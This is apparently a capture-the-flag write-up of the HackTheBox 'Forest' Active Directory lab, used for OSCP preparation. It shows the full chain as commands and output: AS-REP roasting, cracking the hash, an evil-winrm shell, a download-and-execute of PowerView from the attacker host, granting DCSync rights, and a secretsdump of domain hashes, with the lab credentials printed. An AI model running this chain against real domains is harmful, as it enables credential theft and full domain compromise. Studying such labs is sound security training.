TJ_Null’s OSCP Prep – HTB – Forest

Byaghanim

This is an Active Directory machine. After enumerating SMB it leaks a list of users. I then used impacket-GetNPUsers to look for users without Kerberos pre-authentication required attribute. There was one user, svc-alfresco, which didnt have kerberos pre-authentication enabled and I got a hash. I cracked the hash using john the ripper, and used Evil-WinRM to get a shell. To escalate my privileges I used bloodhound to get an idea of the next attack vector. Since svc-alfresco was a member of a group, that was a member of another group, that again was memeber of another group that had privileges I could create a user and grant myself DcSync privileges. I could then dump all the hashes and use pass the hash technique to get administrator shell.

Enumeration

I’ll start with a NMAP scan. 

┌──(root💀kali)-[/home/aghanim/Desktop/HTB/forest]
└─# nmap -sC -sV -p- --min-rate 10000 10.10.10.161 -oN nmap.ver
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-27 16:18 EST
Stats: 0:00:52 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 65.22% done; ETC: 16:19 (0:00:23 remaining)
Nmap scan report for 10.10.10.161
Host is up (0.032s latency).
Not shown: 65502 closed tcp ports (reset)
PORT      STATE    SERVICE      VERSION
53/tcp    open     domain       Simple DNS Plus
88/tcp    open     kerberos-sec Microsoft Windows Kerberos (server time: 2022-01-27 21:27:16Z)
135/tcp   open     msrpc        Microsoft Windows RPC
139/tcp   open     netbios-ssn  Microsoft Windows netbios-ssn
304/tcp   filtered unknown
389/tcp   open     ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open     microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open     kpasswd5?
593/tcp   open     ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open     tcpwrapped
931/tcp   filtered unknown
3268/tcp  open     ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open     tcpwrapped
4450/tcp  filtered camp
5985/tcp  open     http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8671/tcp  filtered unknown
9389/tcp  open     mc-nmf       .NET Message Framing
20699/tcp filtered unknown
26323/tc§p filtered unknown
28303/tcp filtered unknown
33174/tcp filtered unknown
42093/tcp filtered unknown
47001/tcp open     http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open     msrpc        Microsoft Windows RPC
49665/tcp open     msrpc        Microsoft Windows RPC
49666/tcp open     msrpc        Microsoft Windows RPC
49667/tcp open     msrpc        Microsoft Windows RPC
49671/tcp open     msrpc        Microsoft Windows RPC
49676/tcp open     msrpc        Microsoft Windows RPC
49677/tcp open     ncacn_http   Microsoft Windows RPC over HTTP 1.0
49684/tcp open     msrpc        Microsoft Windows RPC
49703/tcp open     msrpc        Microsoft Windows RPC
64134/tcp filtered unknown
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h48m43s, deviation: 4h37m08s, median: 8m42s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2022-01-27T13:28:05-08:00
| smb2-time: 
|   date: 2022-01-27T21:28:08
|_  start_date: 2022-01-27T21:26:20
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required

There are 33 ports open. I wont list all of them, but the ones that are important are port (I did not list all the UDP ports that might be open. Since UDP is a connectionless protocol, it wont acknowledge NMAP, so it might take a long time to enumerate):

  • 53 – DNS
  • 88 – Microsoft Windows Kerberos
  • 123 – NTP
  • 389, 3268 – Microsoft Windows Active Directory LDAP
  • 139, 445 – SMB
  • 464 – kpasswd5
  • 593, 49676 – ncacn_http
  • 5985 – wsman
  • 47001 – winrm
  • 9380 – .NET Message framing

The Forest name is htb.local. And the FQDN is FOREST.htb.local.

Since SMB is configured with null byte session I’ll go ahead and enumerate SMB using enum4linux. 

┌──(root💀kali)-[/home/aghanim/Desktop/HTB/forest]
└─# enum4linux -A 10.10.10.161
Unknown option: A
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Jan 27 16:40:03 2022

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 10.10.10.161
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
[...]
 ============================= 
|    Users on 10.10.10.161    |
 ============================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
[...]
 ==================================================== 
|    Password Policy Information for 10.10.10.161    |
 ==================================================== 

[+] Trying protocol 445/SMB...

[+] Found domain(s):

        [+] HTB
        [+] Builtin

[+] Password Info for Domain: HTB

        [+] Minimum password length: 7
        [+] Password history length: 24
        [+] Maximum password age: Not Set
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: 1 day 4 minutes 
        [+] Reset Account Lockout Counter: 30 minutes 
        [+] Locked Account Duration: 30 minutes 
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: Not Set

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 501.

[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 7
[...]
 ============================== 
|    Groups on 10.10.10.161    |
 ============================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.

[+] Getting builtin groups:
group:[Account Operators] rid:[0x224]
group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Administrators] rid:[0x220]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Print Operators] rid:[0x226]
group:[Backup Operators] rid:[0x227]
group:[Replicator] rid:[0x228]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]
group:[RDS Remote Access Servers] rid:[0x23f]
group:[RDS Endpoint Servers] rid:[0x240]
group:[RDS Management Servers] rid:[0x241]
group:[Hyper-V Administrators] rid:[0x242]
group:[Access Control Assistance Operators] rid:[0x243]
group:[Remote Management Users] rid:[0x244]
group:[System Managed Accounts Group] rid:[0x245]
group:[Storage Replica Administrators] rid:[0x246]
group:[Server Operators] rid:[0x225]

[...]

[+] Getting local groups:
group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44d]
[...]

[+] Getting domain groups:
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Organization Management] rid:[0x450]
group:[Recipient Management] rid:[0x451]
group:[View-Only Organization Management] rid:[0x452]
group:[Public Folder Management] rid:[0x453]
group:[UM Management] rid:[0x454]
group:[Help Desk] rid:[0x455]
group:[Records Management] rid:[0x456]
group:[Discovery Management] rid:[0x457]
group:[Server Management] rid:[0x458]
group:[Delegated Setup] rid:[0x459]
group:[Hygiene Management] rid:[0x45a]
group:[Compliance Management] rid:[0x45b]
group:[Security Reader] rid:[0x45c]
group:[Security Administrator] rid:[0x45d]
group:[Exchange Servers] rid:[0x45e]
group:[Exchange Trusted Subsystem] rid:[0x45f]
group:[Managed Availability Servers] rid:[0x460]
group:[Exchange Windows Permissions] rid:[0x461]
group:[ExchangeLegacyInterop] rid:[0x462]
group:[$D31000-NSEL5BRJ63V7] rid:[0x46d]
group:[Service Accounts] rid:[0x47c]
group:[Privileged IT Accounts] rid:[0x47d]
group:[test] rid:[0x13ed]

We get a list of groups and users as well as password policy information. I’ll save the usernames in a file called users. 

Administrator 
Guest
krbtgt 
DefaultAccount 
$331000-VK4ADACQNUCA 
SM_2c8eef0a09b545acb 
SM_ca8c2ed5bdab4dc9b 
SM_75a538d3025e4db9a 
SM_681f53d4942840e18 
SM_1b41c9286325456bb 
SM_9b69f1b9d2cc45549 
SM_7c96b981967141ebb 
SM_c75ee099d0a64c91b 
SM_1ffab36a2f5f479cb 
HealthMailboxc3d7722 
HealthMailboxfc9daad 
HealthMailboxc0a90c9 
HealthMailbox670628e 
HealthMailbox968e74d 
HealthMailbox6ded678 
HealthMailbox83d6781 
HealthMailboxfd87238 
HealthMailboxb01ac64 
HealthMailbox7108a4e 
HealthMailbox0659cc1 
sebastien
lucinda
svc-alfresco 
andy 
mark 
santi

Initial Access

I’ll try and send a AS_REQ request to the domain. If one of those users in the list above dont have kerberos pre-authentication enabled I’ll get a hash that I can try and crack. I’ll save the output in hashes.arp.

The ASREPRoast attack looks for users without Kerberos pre-authentication required attribute (DONT_REQ_PREAUTH).

That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.

https://book.hacktricks.xyz/windows/active-directory-methodology/asreproast
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/forest]
└─# impacket-GetNPUsers htb.local/ -usersfile users -format hashcat -outputfile hashes.arp                                                                                               2 ⨯
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User HealthMailboxc3d7722 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfc9daad doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxc0a90c9 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox670628e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox968e74d doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox6ded678 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox83d6781 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfd87238 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxb01ac64 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox7108a4e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set

I got a hash for the user svc-alfresco. I’ll use john the ripper to try and crack the hash. 

┌──(root💀kali)-[/home/aghanim/Desktop/HTB/forest]
└─# cat hashes.arp 
$krb5asrep$23$svc-alfresco@HTB.LOCAL:42694a157aaa57201d03b2a8558ecdb4$f30974ac744293a0656ebdfd3ad149f0fc2c51a52fb4dba4fcbd49f3fd40f8c2d8a471eb39dfa1318c3cad4e37b8e7d4cf92eb471bb1111b4210838b21ee5f5946c0e10fce90da0d15ad3c5d8e4a9487a146cf8d51313d5e1a2190a1feda353fc09c23ca05b602fa1cfd0e0028841bd1e4843ec4de7a29e2058de53eb99c0e0568dd0dfe18d84e5b5f3ddc722ae50dd420947f65ddbc09e57de71bd67e7b8105acb3d2cf218ce3b1ecbf681ff9270a974c142d094810254b1e37a6dd873d58f27f41fc8ac5e7a3d73a97326e827bf09108c0551f182fc93c05efaa5f3f7ad83f7c60408e04a8
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/forest]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hashes.arp 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice          ($krb5asrep$23$svc-alfresco@HTB.LOCAL)     
1g 0:00:00:05 DONE (2022-01-27 17:00) 0.1818g/s 742865p/s 742865c/s 742865C/s s401447401447401447..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

And I got my first credentials. 

svc-alfresco@htb.local:s3rvice

I can now use Evil-WinRM to get a shell using the credentials above. 

┌──(root💀kali)-[/home/aghanim/Desktop/HTB/forest]
└─# evil-winrm -u svc-alfresco -p 's3rvice' -i 10.10.10.161                                       


Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco

Privilege Escalation

I’ll do the usual enumartion. List all the domain users, what kind of privileges I have etc. I’ll use sharphound to gather information about the domain and send them to bloodhound to see if there is an attack vector I could use to escalate my privileges. I’ll first send sharphound to the target and run it. 

(new-object System.Net.WebClient).DownloadFile('http://10.10.14.17:9000/SharpHound.exe', 'C:\Users\svc-alfresco\Desktop\SharpHound.exe')
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop>  dir


    Directory: C:\Users\svc-alfresco\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/30/2022   4:48 AM          15246 20220130044848_BloodHound.zip
-a----        1/30/2022   4:48 AM          23611 MzZhZTZmYjktOTM4NS00NDQ3LTk3OGItMmEyYTVjZjNiYTYw.bin
-a----        1/30/2022   4:49 AM        1666054 SharpHound.exe
-ar---        1/30/2022   4:43 AM             34 user.txt

I’ll use SMBserver to copy the files over to my attacking machine. 

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> copy 20220130044848_BloodHound.zip \\10.10.14.17\share\20220130044848_BloodHound.zip

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> copy  MzZhZTZmYjktOTM4NS00NDQ3LTk3OGItMmEyYTVjZjNiYTYw.bin \\10.10.14.17\share\MzZhZTZmYjktOTM4NS00NDQ3LTk3OGItMmEyYTVjZjNiYTYw.bin

BloodHound

I’ll import the files to bloodhound and mark the user svc-alfresco as owned and choose Shortest Path to Domain Users from Owned Principles. And I’ll get this list.

My user is a member of service account, which is a member of privileged IT account, which again is a member og Account Operator, which again is a member of Exchange Windows Permission. So lets try and explain all of this. So you can see that Account Operator have a diamond above its avatar, that means its a high value target.

Service AccountCommon types of Active Directory service accounts include built-in local user accounts, domain user accounts, managed service accounts, and virtual accounts.
Privileged IT Accounts“Privileged” accounts and groups in Active Directory are those to which powerful rights, privileges, and permissions are granted that allow them to perform nearly any action in Active Directory and on domain-joined systems
Account OperatorsThe Account Operators group grants limited account creation privileges to a user. Account Operators have GenericAll permissions to Exchange Windows Permissions group. This gives members full control of the group.
Exchange Windows PermissiosThe Exchange Windows Permissions group has WriteDacl access on the Domain object in Active Directory, which enables any member of this group to modify the domain privileges, among which is the privilege to perform DCSync operations.

WriteDACL – The writeDACL permissions allows an identity to modify permissions on the designated object (in other words: modify the ACL)

DcSync – DCSync is an attack that allows an attacker to simulate the behavior of Domain Controller (DC) in order to retrieve password data via domain replication.

So we’ll Create a user –> Add the user to Exchange Windows Permissions –> Grant it DcSync permissions in order to dump all the hashes –> Perform pass the hash.

Create a user

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net user aghanim password /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net user

User accounts for \\

-------------------------------------------------------------------------------
$331000-VK4ADACQNUCA     Administrator            aghanim
andy                     DefaultAccount           Guest
HealthMailbox0659cc1     HealthMailbox670628e     HealthMailbox6ded678
HealthMailbox7108a4e     HealthMailbox83d6781     HealthMailbox968e74d
HealthMailboxb01ac64     HealthMailboxc0a90c9     HealthMailboxc3d7722
HealthMailboxfc9daad     HealthMailboxfd87238     krbtgt
lucinda                  mark                     santi
sebastien                SM_1b41c9286325456bb     SM_1ffab36a2f5f479cb
SM_2c8eef0a09b545acb     SM_681f53d4942840e18     SM_75a538d3025e4db9a
SM_7c96b981967141ebb     SM_9b69f1b9d2cc45549     SM_c75ee099d0a64c91b
SM_ca8c2ed5bdab4dc9b     svc-alfresco
The command completed with one or more errors.

Add User permissions

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net group "Exchange Windows Permissions" /add aghanim
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net user aghanim
User name                    aghanim
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/30/2022 5:20:15 AM
Password expires             Never
Password changeable          1/31/2022 5:20:15 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Exchange Windows Perm*Domain Users
The command completed successfully.

Grant user DcSync privileges using powerview

# Transfer and execute PowerView Powershell script
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.17:9000/PowerView.ps1')

# Save my password in the varialbe $pass
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop>  $pass = convertto-securestring 'password' -AsPlainText -Force


# Save my user credentials in varialbe $cred
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> $cred = New-Object System.Management.Automation.PSCredential('htb\aghanim', $pass)


# Grant my user DcSync rights
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity "aghanim" -Rights DCSync

Dump all the hashes

┌──(root💀kali)-[/opt/impacket/examples]
└─# python3 secretsdump.py aghanim:password@10.10.10.161                                                                                                 1 ⨯
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\HealthMailboxc3d7722:1134:aad3b435b51404eeaad3b435b51404ee:4761b9904a3d88c9c9341ed081b4ec6f:::
htb.local\HealthMailboxfc9daad:1135:aad3b435b51404eeaad3b435b51404ee:5e89fd2c745d7de396a0152f0e130f44:::
htb.local\HealthMailboxc0a90c9:1136:aad3b435b51404eeaad3b435b51404ee:3b4ca7bcda9485fa39616888b9d43f05:::
htb.local\HealthMailbox670628e:1137:aad3b435b51404eeaad3b435b51404ee:e364467872c4b4d1aad555a9e62bc88a:::
htb.local\HealthMailbox968e74d:1138:aad3b435b51404eeaad3b435b51404ee:ca4f125b226a0adb0a4b1b39b7cd63a9:::
htb.local\HealthMailbox6ded678:1139:aad3b435b51404eeaad3b435b51404ee:c5b934f77c3424195ed0adfaae47f555:::
htb.local\HealthMailbox83d6781:1140:aad3b435b51404eeaad3b435b51404ee:9e8b2242038d28f141cc47ef932ccdf5:::
htb.local\HealthMailboxfd87238:1141:aad3b435b51404eeaad3b435b51404ee:f2fa616eae0d0546fc43b768f7c9eeff:::
htb.local\HealthMailboxb01ac64:1142:aad3b435b51404eeaad3b435b51404ee:0d17cfde47abc8cc3c58dc2154657203:::
htb.local\HealthMailbox7108a4e:1143:aad3b435b51404eeaad3b435b51404ee:d7baeec71c5108ff181eb9ba9b60c355:::
htb.local\HealthMailbox0659cc1:1144:aad3b435b51404eeaad3b435b51404ee:900a4884e1ed00dd6e36872859c03536:::
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
aghanim:9601:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:4b8cb102860e949f87bf721ad8e3102b:::
EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1:::
[*] Kerberos keys grabbed
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375
htb.local\Administrator:des-cbc-md5:c1e049c71f57343b
krbtgt:aes256-cts-hmac-sha1-96:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b
krbtgt:aes128-cts-hmac-sha1-96:13a5c6b1d30320624570f65b5f755f58
krbtgt:des-cbc-md5:9dd5647a31518ca8
htb.local\HealthMailboxc3d7722:aes256-cts-hmac-sha1-96:258c91eed3f684ee002bcad834950f475b5a3f61b7aa8651c9d79911e16cdbd4
htb.local\HealthMailboxc3d7722:aes128-cts-hmac-sha1-96:47138a74b2f01f1886617cc53185864e
htb.local\HealthMailboxc3d7722:des-cbc-md5:5dea94ef1c15c43e
htb.local\HealthMailboxfc9daad:aes256-cts-hmac-sha1-96:6e4efe11b111e368423cba4aaa053a34a14cbf6a716cb89aab9a966d698618bf
htb.local\HealthMailboxfc9daad:aes128-cts-hmac-sha1-96:9943475a1fc13e33e9b6cb2eb7158bdd
htb.local\HealthMailboxfc9daad:des-cbc-md5:7c8f0b6802e0236e
htb.local\HealthMailboxc0a90c9:aes256-cts-hmac-sha1-96:7ff6b5acb576598fc724a561209c0bf541299bac6044ee214c32345e0435225e
htb.local\HealthMailboxc0a90c9:aes128-cts-hmac-sha1-96:ba4a1a62fc574d76949a8941075c43ed
htb.local\HealthMailboxc0a90c9:des-cbc-md5:0bc8463273fed983
htb.local\HealthMailbox670628e:aes256-cts-hmac-sha1-96:a4c5f690603ff75faae7774a7cc99c0518fb5ad4425eebea19501517db4d7a91
htb.local\HealthMailbox670628e:aes128-cts-hmac-sha1-96:b723447e34a427833c1a321668c9f53f
htb.local\HealthMailbox670628e:des-cbc-md5:9bba8abad9b0d01a
htb.local\HealthMailbox968e74d:aes256-cts-hmac-sha1-96:1ea10e3661b3b4390e57de350043a2fe6a55dbe0902b31d2c194d2ceff76c23c
htb.local\HealthMailbox968e74d:aes128-cts-hmac-sha1-96:ffe29cd2a68333d29b929e32bf18a8c8
htb.local\HealthMailbox968e74d:des-cbc-md5:68d5ae202af71c5d
htb.local\HealthMailbox6ded678:aes256-cts-hmac-sha1-96:d1a475c7c77aa589e156bc3d2d92264a255f904d32ebbd79e0aa68608796ab81
htb.local\HealthMailbox6ded678:aes128-cts-hmac-sha1-96:bbe21bfc470a82c056b23c4807b54cb6
htb.local\HealthMailbox6ded678:des-cbc-md5:cbe9ce9d522c54d5
htb.local\HealthMailbox83d6781:aes256-cts-hmac-sha1-96:d8bcd237595b104a41938cb0cdc77fc729477a69e4318b1bd87d99c38c31b88a
htb.local\HealthMailbox83d6781:aes128-cts-hmac-sha1-96:76dd3c944b08963e84ac29c95fb182b2
htb.local\HealthMailbox83d6781:des-cbc-md5:8f43d073d0e9ec29
htb.local\HealthMailboxfd87238:aes256-cts-hmac-sha1-96:9d05d4ed052c5ac8a4de5b34dc63e1659088eaf8c6b1650214a7445eb22b48e7
htb.local\HealthMailboxfd87238:aes128-cts-hmac-sha1-96:e507932166ad40c035f01193c8279538
